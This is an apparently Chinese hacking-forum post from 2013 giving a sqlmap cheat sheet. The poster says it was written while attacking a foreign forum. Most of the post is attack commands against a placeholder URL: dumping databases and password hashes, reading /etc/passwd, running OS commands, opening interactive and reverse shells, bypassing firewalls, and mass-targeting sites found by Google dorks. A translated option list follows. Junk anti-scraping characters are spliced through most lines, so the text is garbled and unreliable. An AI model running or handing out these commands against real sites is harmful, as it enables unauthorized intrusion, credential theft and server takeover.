找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2496|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
0 ~9 e/ p9 E4 o* S9 O8 ^6 Rsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称8 E5 N8 D# T- R, }
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名" ^# t- m' a, H  t7 e1 k+ f
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段( _2 |5 U2 s: O
( J" q6 C) J7 h0 Z5 [! K
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
' Q3 o: o4 d7 ]7 T6 u" {0 b0 #获取字段内容: L1 }3 o" o' s- _2 ~! y$ V6 a

# K) ]" h- C% `******************信息获取******************' H. C0 x4 B6 B- h
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
7 v1 {3 J) J3 ?4 N2 h. [0 Bsqlmap -u “http://url/news?id=1″ –users #列数据库用户
6 ]. S9 d) e  h( z1 W" M. Gsqlmap -u “http://url/news?id=1″ –dbs#列数据库
7 X# S4 o) V0 tsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
3 _2 a$ o/ h/ b: Bsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
2 i1 f; ^: {6 Ksqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
' m6 P7 B8 w: }. f. E–start 1 –stop 20 #列出指定字段,列出20 条
1 Y( ?( {7 v7 \; ysqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表" E. `( |, G' n% e; Q$ `
sqlmap -u “http://url/news?id=1″ –privileges #查看权限3 F& `6 }9 g4 H' n# i) w* ~) \6 g
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
# W6 A4 E; T' \* z0 |sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)9 [) }  m& M3 Z  w
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
7 W/ S% }, G) M5 `sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录+ g9 X. U6 {6 b1 N* e! M
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
2 \* E/ P( l& |3 ksqlmap -u “http://url/news?id=1″-b #获取banner信息
  n" P- d! o& U1 Z" psqlmap -u “http://url/news?id=1″ –data “id=3″#post注入% a2 M/ D* y/ t% w/ \$ p
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型" v9 X1 K4 b% y9 T% b- E
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入4 R: B5 `1 W  b. G& x" B2 s
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词1 y. @$ z" j; r5 ~: ^
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
# S9 v6 Q3 m: D( J+ B0 l: zsqlmap -u “http://url/news?id=1″ –file /etc/passwd" t: K3 w$ _( ]0 c9 W& W
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令: _5 H8 n% H, u! n2 P
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell, C. \% B; O& Z$ j
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表& D' U. S& K* |; g7 v; Y
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
: @# M7 L5 X' c+ x& Y8 dsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度% J& ?7 F' j! n+ o6 s1 \4 D6 \4 M
***********高级用法*************
+ D% Y. m- _' A5 A-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入- t- q, O% d1 }; G
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
) U8 K) [& k( @; N–technique   测试指定注入类型\使用的技术
4 D* C, K' A" a# c. r* k$ x不加参数默认测试所有注入技术4 s' e; \2 F  K3 v
•     B: 基于布尔的SQL 盲注1 J! b0 R, [, p  K4 ~
•     E: 基于显错sql 注入: b" C4 G  p0 V" R# Z* l9 r" \" u+ D
•     U: 基于UNION 注入& v, n/ y2 Y  z
•     S: 叠层sql 注入) J+ W5 i' o& W- s
•     T: 基于时间盲注1 x( _, z3 U! ?! }( S
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()0 b1 u4 y* n; ^' s
–tamper 插件所在目录
5 s, C- Z, ]$ [$ @6 ]7 `' L% ?$ f! {\sqlmap-dev\tamper) F( p5 o) x" J# V
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能. h" `0 H+ l3 `# }" C# S+ z( e
level 执行测试等级 攻击实例:% x3 _% [+ P( m) {7 W* u
Sqlmap -u “http://url/news?id=1&Submit=Submit”
) L: u/ n+ J8 U; |6 s: \& j/ ~–cookie=”PHPSESSID=41aa833e6d0d! R6 X% T. s4 e9 N( ?3 R, P. Y* n
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user% w0 f1 b  I% E5 L8 V
–password
. L6 m8 O  L* y$ c6 m参考文档:http://sqlmap.sourceforge.net/doc/README.html
0 e2 |* M( I* |) b: _* J* b***********安装最新版本*************. |  [4 _! e+ p. v1 U8 H% ?
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
" {" _( ~' i- q- s. vsudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev2 m8 n* m! n& Q8 l# k
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件' t$ a6 m8 @4 f& Z# ~
sudo vim /home/当前用户/.bashrc
) M# |- u, o8 u' L- ]. d8 j! L#任意位置加上:2 u/ V5 Z4 ~1 o$ h4 D9 K8 c
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
5 d) l, j' ^0 g( D$ L如果想对所有用户有效 可设置全局 编辑下面的文件
0 d% w- D* W! Q8 Avim /etc/profile  p1 ~; Z* ~0 l
同样加上:
# X' V+ {* t+ Y; \0 v7 V0 f4 Qalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效3 F, r0 r3 _6 {% L
******************windows 7 (x64) sqlmap install (SVN)************; o8 V! R. a8 ]" s  e
http://www.python.org/getit/ 安装python* O: i* a* \+ R
http://www.sliksvn.com/en/download 安装windows svn client$ M2 N' @% i- p& C1 G5 H0 q7 [/ u: g' K
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev) ?/ W( k: U; l7 q6 V/ E
安装sqlmap
5 [- F, R& n& f: p2 o* L% X6 N; _+ F4 v*修改环境变量% B8 i3 o3 c, S4 d# I
–version             显示程序的版本号并退出/ ^  w8 \5 P  D3 Q5 ?. X. u* q
-h, –help            显示此帮助消息并退出
5 W0 x% m' @; e4 p/ o1 ?% H8 P# c-v VERBOSE            详细级别:0-6(默认为1)
2 }/ H- M; ^# F1 ~/ CTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。4 g4 L3 m. I( ^4 [& f* _
-d DIRECT           直接连接到数据库。
6 m5 j& y8 ?0 a! d/ y% z- D-u URL, –url=URL   目标URL。
; S" |0 T; B* \7 y) |-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
7 J" E! }( ]& b) s-r REQUESTFILE      从一个文件中载入HTTP 请求。2 J- O2 V( G4 s; U$ s4 L
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。0 a' p$ [. A2 u
-c CONFIGFILE       从INI 配置文件中加载选项。% ~, L# a( ^- C- R5 ?7 {+ C+ M
Request(请求)::2 c8 I9 L* z; m8 P
这些选项可以用来指定如何连接到目标URL。
5 p  K1 p+ w# @: q–data=DATA         通过POST 发送的数据字符串
4 m! ~0 u* {) {5 r–cookie=COOKIE     HTTP Cookie 头
4 S. Q& D  U, O: O+ f* ]: Y–cookie-urlencode  URL 编码生成的cookie 注入( m$ ?$ D: L4 }
–drop-set-cookie   忽略响应的Set –Cookie 头信息1 ]+ Z' n" G  m% S8 J
& n/ U- r4 w( a2 P
–user-agent=AGENT  指定  HTTP User –Agent 头# I& f+ `( E- m. {
–random-agent      使用随机选定的HTTP User –Agent 头
4 a; C6 H" V1 h0 l8 y0 m* R: y- ^–referer=REFERER   指定  HTTP Referer 头
0 Y* D4 N( B9 F6 v' T* [–headers=HEADERS   换行分开,加入其他的HTTP 头% S1 |0 D) g" V* r6 B' [
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
) x: e9 b* ^0 M- D/ K( {–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)+ Y( N0 `: x8 u% z% p% w& s9 Z' T
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)5 C. V  i9 I; @3 E$ y* I- t& f5 i
–proxy=PROXY       使用HTTP 代理连接到目标URL: V$ J( Y+ m" ^+ g) r* K; O
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
2 B" C% T3 u" E6 v% L& `6 k–ignore-proxy      忽略系统默认的HTTP 代理
1 H" V. m  O2 l4 ^$ e* l% Q–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
1 K  z" W2 ~4 ~- [–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)! I% H4 N0 B1 A( C
–retries=RETRIES   连接超时后重新连接的时间(默认3)
* \3 P- I8 j: p/ P–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式7 L) P; ^# U6 K6 f" ?" u
–safe-url=SAFURL   在测试过程中经常访问的url 地址
; b  a( B$ \& T# `0 a; f–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL2 o( m8 i7 o1 J
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
7 E7 {& Z' Y+ d0 I5 d+ [-o                  开启所有优化开关
& y* o- u4 z& F: u; H–predict-output    预测常见的查询输出+ X2 }; E5 a  p7 _9 y" W
–keep-alive        使用持久的HTTP(S)连接! p2 A% n0 p1 w
–null-connection   从没有实际的HTTP 响应体中检索页面长度! ~4 U$ t* I$ K2 I8 \
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
5 u& m5 o* A0 X' y. @Injection(注入):
1 b1 r; q5 F! E% r7 _7 i; }3 t这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。. N& N/ ~* ]2 o
-p TESTPARAMETER    可测试的参数(S)/ ^( p9 J9 |$ Q6 p( f6 p2 f
–dbms=DBMS         强制后端的DBMS 为此值
' s- o( f2 v$ R–os=OS             强制后端的DBMS 操作系统为这个值8 I% \: w. ?% m- m* i0 }6 [+ i
–prefix=PREFIX     注入payload 字符串前缀1 Z- Z; ~: c) `
–suffix=SUFFIX     注入 payload 字符串后缀
! d5 h1 x2 m5 {% R–tamper=TAMPER     使用给定的脚本(S)篡改注入数据# D4 S, e% R5 N1 k. K# @% I
Detection(检测):- d6 c4 e0 [  E( j4 d1 j
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
" \7 ^- [9 r/ {% |–level=LEVEL       执行测试的等级(1-5,默认为1)1 D8 F) z  x0 s1 z/ d
–risk=RISK         执行测试的风险(0-3,默认为1)7 Z! s9 p, p6 ~# A9 C' t6 D/ [. B
–string=STRING     查询时有效时在页面匹配字符串
8 s  i9 e) X8 r1 m" Q& n–regexp=REGEXP     查询时有效时在页面匹配正则表达式
$ v7 o: l# M7 E–text-only         仅基于在文本内容比较网页
7 ]' K3 B: f$ g' W1 tTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。8 h  |/ u8 q, {# N
–technique=TECH    SQL 注入技术测试(默认BEUST)1 R* D5 B) ~* u8 O+ Y4 Q+ K  X
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
# t  h$ ~4 R' B& w–union-cols=UCOLS  定列范围用于测试UNION 查询注入
( N( @+ j' ?& @* Z: b% u  i8 {–union-char=UCHAR  用于暴力猜解列数的字符
( L$ S! k8 k- c( h7 E1 P7 r( ~Fingerprint(指纹):
+ `0 V' d/ T$ z-f, –fingerprint     执行检查广泛的DBMS 版本指纹
3 A+ a( N/ F% K7 K5 IEnumeration(枚举):% n% S7 M, f& g" N& c
$ _+ v$ f/ g% C2 {
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。6 r8 j8 E5 `4 o9 H* x' G
-b, –banner        检索数据库管理系统的标识; J4 \6 {2 \- f+ ^0 D
–current-user      检索数据库管理系统当前用户
( B8 D! ]9 y- q! @' z! ]/ Z–current-db        检索数据库管理系统当前数据库
8 a% X+ m3 [+ \6 z3 ~–is-dba            检测DBMS 当前用户是否DBA7 q6 S% a: p) |% _  Q2 R
–users             枚举数据库管理系统用户8 F" [. x8 M. G; b" S& _7 M! Z
–passwords         枚举数据库管理系统用户密码哈希
9 x6 b) L2 x4 y* N  x: R) U0 ^–privileges        枚举数据库管理系统用户的权限
8 }9 t- X  L; T# |, T–roles             枚举数据库管理系统用户的角色& a7 [/ E7 i9 S9 a% @  `& v/ T
–dbs               枚举数据库管理系统数据库! E; O8 h- \% {; Y6 r
–tables            枚举的DBMS 数据库中的表
  I2 e0 ]7 v) t; k–columns           枚举DBMS 数据库表列0 Z/ I8 [  W  U2 k# ]2 V/ o( |) L. ?6 t
–dump              转储数据库管理系统的数据库中的表项0 _  r" i/ C+ K; g
–dump-all          转储所有的DBMS 数据库表中的条目
0 s* O* I0 s' G/ @* j–search            搜索列(S),表(S)和/或数据库名称(S)+ h3 r: m$ q8 U. i
-D DB               要进行枚举的数据库名' t: D) r, Y- C$ C. H, K
-T TBL              要进行枚举的数据库表' }2 i& n1 O- u0 _# M" S8 y
-C COL              要进行枚举的数据库列9 R/ K, ^; Q% H- M1 X
-U USER             用来进行枚举的数据库用户( x+ E7 D2 ?1 p# R0 l
–exclude-sysdbs    枚举表时排除系统数据库/ k" o9 J4 u- w2 \& O# W2 J' Y6 ]
–start=LIMITSTART  第一个查询输出进入检索
$ y( ~+ D, q4 \. g# O. ?" f7 i) e–stop=LIMITSTOP    最后查询的输出进入检索
4 L2 Y7 f) V9 s/ j* P6 Q–first=FIRSTCHAR   第一个查询输出字的字符检索
' l% \: c4 X3 V- c' I" ~- Y–last=LASTCHAR     最后查询的输出字字符检索+ b, C% b+ A+ ~7 L
–sql-query=QUERY   要执行的SQL 语句3 v* P% ?; e  `! T# j! {" t
–sql-shell         提示交互式SQL 的shell1 I: S/ m; e. K, q  v' v: e
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。+ m. w5 P. p# Y$ ?( I2 H! L
–common-tables     检查存在共同表1 q" B6 y- f$ h3 J* Z, \
–common-columns    检查存在共同列
9 F3 v* L2 h( o; y# w5 X$ {9 eUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
) [: @  d, I7 ?; T, T–udf-inject        注入用户自定义函数
+ B& `* ?; k- R* j$ G! h1 O–shared-lib=SHLIB  共享库的本地路径3 [  l% Y' u/ [# M0 H6 f  _, T0 d
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
- s; |! b2 Q6 Y–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
3 v4 c% U  O1 Q+ _' M8 M+ D–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
; v  S. B7 M4 e) m7 q–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径! m  ]' w# [& m9 z& H
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。3 e, K* h# u1 U+ L2 a* W' Y! a
–os-cmd=OSCMD      执行操作系统命令" g" w5 g9 C: ^: P4 [, P- }7 N
–os-shell          交互式的操作系统的shell
+ h) J2 G9 T# E( ?0 y7 _: I6 ?& K–os-pwn            获取一个OOB shell,meterpreter 或VNC7 V% f, F9 L' M
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC; d- `* v( A) g7 p1 l' [& t; o% U
–os-bof            存储过程缓冲区溢出利用* M* V2 E( L- K: I$ A* F: L
–priv-esc          数据库进程用户权限提升
( f, T) u% u6 ^–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
& E, c7 i% }7 }; U( p1 d, y–tmp-path=TMPPATH  远程临时文件目录的绝对路径2 O# q  V$ v4 c5 U: c+ ?! }

: x+ T* e8 t& v& n) ?  tWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。. |$ j* w% d# ^+ ?& h% d
–reg-read          读一个Windows 注册表项值6 H7 I; R: u" M: `0 |
–reg-add           写一个Windows 注册表项值数据  Z& m, [" @% c
–reg-del           删除Windows 注册表键值% V( @  p8 v$ e+ T* W
–reg-key=REGKEY    Windows 注册表键0 ]7 b) n/ K6 D  B$ E7 Y9 v6 E! s
–reg-value=REGVAL  Windows 注册表项值; k& W& e  z4 h+ Q. N
–reg-data=REGDATA  Windows 注册表键值数据
; c# x9 t' [! O2 ^9 W2 \–reg-type=REGTYPE  Windows 注册表项值类型/ c- R4 o, t8 j: Z" j; X
General(一般): 这些选项可以用来设置一些一般的工作参数。6 y+ @% _5 Y& m- |2 H0 K+ Q
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
) s" b2 D5 s5 `' n5 ?! c( r* }-s SESSIONFILE      保存和恢复检索会话文件的所有数据
, ^' n, ^' R6 \* a  v* \* n' M–flush-session     刷新当前目标的会话文件- l5 D4 T. y3 z; e
–fresh-queries     忽略在会话文件中存储的查询结果1 x0 D  ], G4 c
–eta               显示每个输出的预计到达时间
- V- V8 S, M# E! n7 }–update            更新SqlMap
5 X+ {3 h- z) ]5 J2 m–save              file 保存选项到INI 配置文件) R  l( v+ X* J. ]4 t% ~; }
–batch             从不询问用户输入,使用所有默认配置。0 O: o7 A$ w) {0 K
Miscellaneous(杂项):
0 [% U0 r, S) h7 |6 h4 G5 s–beep              发现SQL 注入时提醒
. Z/ W  I% Q, V4 G–check-payload     IDS 对注入payloads 的检测测试; b, g+ g( K5 X2 y- N* G+ _9 U9 M
–cleanup           SqlMap 具体的UDF 和表清理DBMS, {' k1 Y! x3 U' x
–forms             对目标URL 的解析和测试形式7 f, s( C6 @/ k5 ?; S
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果8 B% r, j& t* W' h; N, d
–page-rank         Google dork 结果显示网页排名(PR)2 d9 Y; v# T8 Z
–parse-errors      从响应页面解析数据库管理系统的错误消息
7 h7 Z( T' ~7 N, q& v–replicate         复制转储的数据到一个sqlite3 数据库
( W% L6 O' M/ l% F* d3 R9 G–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
- z  D) a. P6 J& F5 U6 ^0 `( B–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表